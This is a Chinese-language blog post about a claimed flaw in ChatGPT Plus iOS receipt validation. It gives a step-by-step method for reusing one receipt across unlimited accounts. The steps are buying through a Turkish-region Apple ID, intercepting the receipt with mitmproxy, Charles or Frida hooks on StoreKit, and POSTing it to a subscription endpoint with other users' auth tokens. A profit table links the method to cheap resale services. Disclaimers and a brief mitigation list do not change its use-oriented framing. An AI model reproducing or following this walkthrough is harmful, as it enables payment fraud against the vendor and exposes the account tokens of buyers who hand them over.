Thu, 16 Apr 2026 11:45:00 +0000

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 4 月，距今已过去 3 个月。iOS 收据复用漏洞据反馈已被 OpenAI 部分修复，当前可用性存疑。本文保留仅供安全研究与技术原理学习参考。

前言

兄弟们，今天来扒一个超级劲爆的漏洞——GPT Plus 代充背后的秘密！

你是不是经常在闲鱼上看到二三十块钱一个月的 GPT Plus 代充？是不是好奇人家咋做到的？今天我就把这个漏洞给你扒得明明白白！

先说好啊，本文仅供技术交流，任何实际操作产生的账号封禁、法律风险，自行承担！别怪我没提醒你~

原理：OpenAI 验票机制的重大漏洞

正常流程是啥样的？

你 iPhone 上点付款
 ↓
App Store 扣钱
 ↓
Apple 把收据扔到你手机本地
 ↓
ChatGPT App 捡起收据
 ↓
App 把收据和你当前登录的账号 token 一起打包发给 OpenAI
 ↓
OpenAI 验一下收据真假
 ↓
给你账号开 Plus

看起来挺严谨对吧？屁！

漏洞在哪？

OpenAI 验票的时候，根本不看这张收据是你 Apple ID 买的，还是隔壁老王 Apple ID 买的！

它只看两样东西：

收据合不合法
你传过来的 ChatGPT auth token 是不是活的

说白了：什么 Apple ID 绑定、什么账号对应关系，全！不！查！

这就好比你拿着别人的购物小票去柜台领东西，柜员只看小票真假，不看你身份证…

收据合法 + token 有效 = 任意账号变 Plus

漏洞利用全流程

第一步：搞一个土耳其区 Apple ID

为啥是土耳其？因为便宜啊！

土耳其区 Plus 标价 499 里拉一个月，折人民币大概八十五块。国内定价多少？一百四五！差价自己算~

往这个土区 Apple ID 里充好礼品卡，钱备足。

第二步：拦截收据

在你 iPhone 上打开 ChatGPT App，别登录你想开 Plus 的目标账号，随便登个临时号或者干脆不登。

核心操作：内购付款之前，配置网络拦截——阻止 ChatGPT App 把收据发给 OpenAI 服务器。

App Store 那边照样扣钱，Apple 照样把收据扔到你手机本地沙盒目录里。但因为你的拦截，这张收据没自动飞向 OpenAI，而是老老实实待在本地等你来拿。

第三步：导出收据

导出收据通常需越狱设备或利用系统漏洞。实际主流玩法有三种：

方法 A：端点本地映射

用 DNS 劫持或本地代理，把 ChatGPT App 发往 OpenAI 的请求重定向到你自己的本地服务器。请求里本来就带着 Base64 编码的收据，到了你本地，直接保存下来。

工具：

mitmproxy
Charles Proxy
自建 HTTPS 代理加一张自签证书

不用越狱，门槛低得令人发指。

方法 B：越狱加 Hook

越狱设备上用 Frida 或者 Flex，直接 hook StoreKit 框架，截下 SKPaymentTransaction 的 transactionReceipt，或者读 appStoreReceiptURL 拿收据文件。

粗暴直接。

方法 C：安卓径用 Xposed Hook

逻辑类似，不细说了。

第四步：API 补单

收据到手，直接往 OpenAI 的订阅接口发请求：

POST https://chat.openai.com/backend-api/payments/subscribe
Content-Type: application/json
Authorization: Bearer <目标账号的 auth token>

{
 "receipt": "<Base64 编码的 iOS 收据>",
 "platform": "ios",
 "product_id": "com.openai.chatgpt.plus",
 "device_info": {
 "model": "iPhone14,2",
 "os_version": "17.0",
 "timezone": "Asia/Shanghai"
 }
}

注意：这里的 auth token 是目标用户给你的登录令牌，权限有限，有效期短。你给他充完 Plus，他立刻改密码，你拿着这张收据去充下一个。

骚操作来了！

一张土耳其收据八十五块人民币成本，能给无数个账号开 Plus！

闲鱼上那些二三十块钱一个月的 GPT Plus 代充，就是这么来的。你以为人家做慈善？人家是拿一张票反复上车！

成本计算

项目	成本
土耳其区 Apple ID	免费（自己注册）
单张收据成本	¥85
可开通账号数	∞（理论无限）
单账号成本	趋近于 0

这利润空间…啧啧啧

为啥 OpenAI 不修复？

很多人会问：这么大的漏洞，OpenAI 为啥不补？

真相：不是补不了，是优先级不够，或者说，他们根本不在乎这点订阅收入的漏洞。

毕竟大头在企业 API 那边，个人订阅那点钱，对 OpenAI 来说就是毛毛雨~

而且这个漏洞还有个特点：需要 iOS 设备 + 网络拦截能力，门槛其实不低。普通用户根本玩不转，所以影响范围有限。

风险提示

⚠️ 重要提醒：

账号风险：用这种方式开通的 Plus 账号，随时可能被 OpenAI 封禁
法律风险：在某些地区可能涉及欺诈行为
道德风险：本质上是利用漏洞薅羊毛

本文仅供技术交流，请勿用于非法用途！

如何防范？

对于 OpenAI

验证收据与 Apple ID 的绑定关系
限制单张收据的使用次数
增加设备指纹验证

对于用户

走官方渠道购买 Plus
不要贪便宜买低价代充
定期检查账号状态

总结

这个漏洞的本质是OpenAI 在收据验证环节偷懒了，只验证收据真假，不验证收据与账号的对应关系。

技术要点：

土耳其区 Apple ID（便宜）
网络拦截（mitmproxy/Charles）
收据导出（越狱/Hook）
API 补单（重复使用收据）

最后再说一遍：本文仅供技术交流，请勿用于非法用途！想稳定用 Plus，还是走官方渠道吧~

觉得有用？别忘了分享给更多需要的朋友！👍

关注我，下期继续扒更多有趣的技术漏洞~